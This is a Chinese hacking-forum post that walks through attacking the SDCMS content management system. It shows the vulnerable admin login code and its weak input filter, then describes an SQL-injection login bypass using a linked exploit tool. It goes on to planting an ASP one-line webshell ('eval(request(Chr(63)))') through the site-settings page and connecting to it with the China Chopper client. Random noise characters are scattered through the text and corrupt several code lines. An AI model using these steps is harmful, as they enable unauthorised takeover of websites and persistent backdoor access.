作者:T00LS 鬼哥 `3 x$ j" b8 \. a
漏洞文件:后台目录/index.asp
7 ]" J) F* r2 r9 j& d& B3 X
c9 r9 g5 D( B( h% QSub Check( I% L! Q* N3 r1 ?3 g6 }2 b4 o! h' z
Dim username,password,code,getcode,Rs
! c4 m. }/ r" q8 p IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
. m( k5 t0 W7 l. \" y9 l username=FilterText(Trim(Request.Form("username")),1)
: a9 Q& V9 G6 B password=FilterText(Trim(Request.Form("password")),1)
2 C0 I6 ~2 ^0 p# O- K0 r code=Trim(Request.Form("yzm")); {9 S6 H* D$ P0 S3 m
getcode=Session("SDCMSCode")
# P/ V/ `, q" K# w/ E! ^4 f% D IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died* ~/ w0 X7 r! x/ m) E5 `5 O
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied9 Z: n) h* k/ `7 a; d
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied5 ?# B4 a3 a& a% x, o
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
9 b1 j' v. t! f9 A5 `* K6 g1 S6 Q IF username="" or password="" Then' f4 D* R4 a4 R3 s
Echo "用户名或密码不能为空" ied
0 w+ w6 a' f* M Else
4 h$ [2 b: p' O; l! F( g Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
9 @' V5 X* N' B6 ~1 X IF Rs.Eof Then
, i8 q: f6 A2 k AddLog username,GetIp,"登录失败",1" ^2 Z: J/ s; |4 \
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"9 m/ t' t4 L' U9 o2 D+ I
Else
5 p7 o" o0 Y2 K0 y9 b1 f Add_Cookies "sdcms_id",Rs(0)$ u; [: b! O! y* T2 m7 D; W H
Add_Cookies "sdcms_name",username- w! A# }4 [: g& X- ?5 ^
Add_Cookies "sdcms_pwd",Rs(2)# P1 b4 E4 d- D5 {7 p
Add_Cookies "sdcms_admin",Rs(3)4 C' D7 [+ h9 v4 G+ [; n }
Add_Cookies "sdcms_alllever",Rs(4)5 f! l0 ?6 j7 G* I
Add_Cookies "sdcms_infolever",Rs(5)
0 f+ T) d, Y9 t2 v( w Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
2 I, L$ V, v- E6 {$ A c AddLog username,GetIp,"登录成功",1- Z* }7 U5 i2 K8 C* K: K) \
'自动删除30天前的Log记录
% I5 ^* n2 M+ m E. ?8 N3 n/ F IF Sdcms_DataType Then
4 \+ j8 g: P8 E6 ^' j' I1 \ Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30"); b% ~( o5 [$ R8 x
Else
0 q9 x+ |5 r' E1 }) S# \; D Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30"), E1 T6 D1 S0 z3 @2 O
End IF
$ c" |$ T# P( F: u* {" Q Go("sdcms_index.asp")
6 u. h. m X1 D; N# g2 q9 ~. ] End IF9 m0 U+ g( H& L- {
Rs.Close$ |+ J0 b+ E& l! ^) Y: p+ V5 f
Set Rs=Nothing
! v3 g0 H U/ M8 @ End IF
K% Y" y, A+ m2 z/ X% {End Sub4 x% @9 A; k6 F2 o" }1 s
" j$ ]$ h0 U! m6 T% g$ t
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
0 ~; ?, {& M! h: z
* u8 F1 D" ]0 w# _, h1 yFunction FilterText(ByVal t0,ByVal t1)
# i' p; }: c) d+ `7 d" W IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
* l( U4 _, r3 z h0 O* \ t0=Trim(t0)- C8 I9 Q4 }8 F) Y" U
Select Case t1" J2 c; T; v( X1 i4 a
Case "1"
: V) h0 _% \- o7 r t0=Replace(t0,Chr(32),"")" w1 F+ O4 N4 a( f
t0=Replace(t0,Chr(13),"")
1 u+ l9 i& R: B& y" c t0=Replace(t0,Chr(10)&Chr(10),"")) b" _4 A4 \8 e4 Y% `+ [4 R
t0=Replace(t0,Chr(10),"")8 Y ^! ~* {0 T/ [, c+ B
Case "2"
1 h2 y+ ?9 e" t( T- I7 ^ t0=Replace(t0,Chr(8),"")'回格6 }' g( y0 d! L x7 a0 v
t0=Replace(t0,Chr(9),"")'tab(水平制表符)4 d0 V: s0 X s9 S
t0=Replace(t0,Chr(10),"")'换行
2 t& I/ w7 g: Q- s/ {" h4 p t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
6 k9 ?; A9 n0 M4 I- c7 m& @ t0=Replace(t0,Chr(12),"")'换页" I+ F$ R w1 b& e& p. [( ^+ Z
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
+ k# j, i, Y9 k- f! n t0=Replace(t0,Chr(22),"")9 ]/ ` G; C# @! A
t0=Replace(t0,Chr(32),"")'空格 SPACE
6 c- B( B( ^' V' s; ^- z t0=Replace(t0,Chr(33),"")'!% x J3 H0 ^, J1 g# D, @5 W
t0=Replace(t0,Chr(34),"")'"& @- F& U- J3 e [% P, G
t0=Replace(t0,Chr(35),"")'#; e" C( `+ {2 _5 v' Q3 F: Z
t0=Replace(t0,Chr(36),"")'$
" S; W. b: S; q9 M t0=Replace(t0,Chr(37),"")'%
+ j0 r: J- q9 O- M* a6 |% \: v t0=Replace(t0,Chr(38),"")'& v4 r+ O" r: C' |$ l' J
t0=Replace(t0,Chr(39),"")''- o* |- h0 h9 h9 X, S
t0=Replace(t0,Chr(40),"")'(
3 s% s5 x% K. ~8 L6 p" Q* Q t0=Replace(t0,Chr(41),"")')
- ^0 O8 ^" I4 r( Z2 L* ` t0=Replace(t0,Chr(42),"")'*
* P9 c. a7 B7 P+ e0 y t0=Replace(t0,Chr(43),"")'+
3 S' x* R, A, s6 R t0=Replace(t0,Chr(44),"")',6 s: T& [' ^% W% z1 m
t0=Replace(t0,Chr(45),"")'-) p* y" R l! p, n
t0=Replace(t0,Chr(46),"")'.
3 C( H0 u$ i+ J) i; D: }0 o8 X t0=Replace(t0,Chr(47),"")'/
; ? Z" f5 ?( N) P1 K t0=Replace(t0,Chr(58),"")':
5 b4 h! u3 C, W+ U t0=Replace(t0,Chr(59),"")';
2 b C# ~- F4 N5 ^8 Y$ _, f/ m) h/ S t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>* u! ^- B1 `6 z9 d+ r9 {0 A
t0=Replace(t0,Chr(63),"")'?
! O" u, ?$ P7 M1 ` t0=Replace(t0,Chr(64),"")'@: y, C {2 e! {% x1 r. {" }
t0=Replace(t0,Chr(91),"")'\# _6 a4 z }2 K a1 U, b
t0=Replace(t0,Chr(92),"")'\$ D; Z( [* T1 o4 f2 H1 W
t0=Replace(t0,Chr(93),"")']3 B* L- V+ ^3 j7 `. W) n; L
t0=Replace(t0,Chr(94),"")'^
" m, Q0 Q7 i5 b2 K t0=Replace(t0,Chr(95),"")'_$ u9 T t( ^# U+ F' T6 I4 m
t0=Replace(t0,Chr(96),"")'`
! d3 n) d) N7 @1 E% L t0=Replace(t0,Chr(123),"")'{
3 B" T5 ^" p. ]# I! Y t0=Replace(t0,Chr(124),"")'|
# ^! U. Y) B6 u4 M; R t0=Replace(t0,Chr(125),"")'}
& t6 a2 h# }' T7 f# X t0=Replace(t0,Chr(126),"")'~+ `' X! D" \- x3 _2 y
Case Else
$ a h6 `1 j; p; K! `$ u. g t0=Replace(t0, "&", "&")
: @' r4 s3 J& {4 j/ C t0=Replace(t0, "'", "'")
8 n8 A: y- n, J0 R/ \- V5 y t0=Replace(t0, """", """)
3 }6 H7 l+ |/ D. ^0 ~9 V t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")8 U9 M% D% B6 Z/ F) R1 ~
End Select2 O) u: S S, u; y1 a3 [5 E
IF Instr(Lcase(t0),"expression")>0 Then; q% R6 `- c2 \; c9 Y% B: I
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
( m& {7 \1 P6 X3 U9 |1 ] End If
1 V U- Y/ q' {" k+ { FilterText=t08 q3 q: Q7 d6 K; ]' K. {+ E2 M
End Function$ r) T, G8 f, o& |; { F
; ]+ K3 U1 l! D% `. c' }看到没。直接参数是1 只过滤* a2 i5 I* [' Y* j# D/ X
t0=Replace(t0,Chr(32)," ")
& k3 p' h: c3 h6 N t0=Replace(t0,Chr(13),"")
1 i- b! ^8 K/ r) Y t0=Replace(t0,Chr(10)&Chr(10),"
. Q7 W5 E0 ?7 k! q& R")' f4 p% r% T0 Y. c" I+ K) a' }
t0=Replace(t0,Chr(10),"
( B; c% o+ C! @4 R) S, v")* ^; b' Q% v3 y5 O( C. D7 H
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!# \# H9 K4 I- E/ O: F; S' ]2 k
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
4 u4 b6 E7 \9 n$ h. l5 k5 K. v1 D0 Y* b' W/ Y
测试:
7 E; d" c- [7 n9 B, ?1 }; l* v3 m `7 D( }
2 ]- r" X/ {8 y' ^
现在输入工具上验证码,然后点OK
q4 Y1 |. v' p! l! K) r! o. ]. U& [$ X" E" f
2 M/ d" }2 ^8 u- C( z% ~看到我们直接进入后台管理界面了,呵呵!
& r, V( X f* b ~/ n& C
' _+ @# U+ t1 F- h) |3 m) ~. ]
- G6 }# B, a4 {, i" i4 c5 K6 D; {, N7 ~ W& c4 i
这样直接进入后台了。。。。
" x2 P" U' T. T( y9 E$ N' z% D( m, R" u7 Q" t& d6 K
3 Q3 n* k% l: F5 |8 C5 C" B. V9 V, \& H& l3 |+ z: r# @: g0 m/ Z# f8 ?' }
SDCMS提权:
0 R( [+ B$ v; w: ~3 m
* ]( @" C+ t/ n方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
# c3 V* o2 q# C" c8 m2 j
+ Q1 l3 _; V& O. f$ @0 H$ ~* B+ e, Z: y- J% |* h+ W
. E8 d2 H; D* J2 p* w
OK,现在用菜刀连接下!/ F0 X# ]) J6 N. v' c
) P: W9 z6 S5 P/ _* Y D" M$ c, D3 [& K/ }1 {$ w1 J
" d' r5 }/ s) F$ `. q. }
4 }; O, P# ~* T" S5 u
; v. |6 e; x p5 r, }
|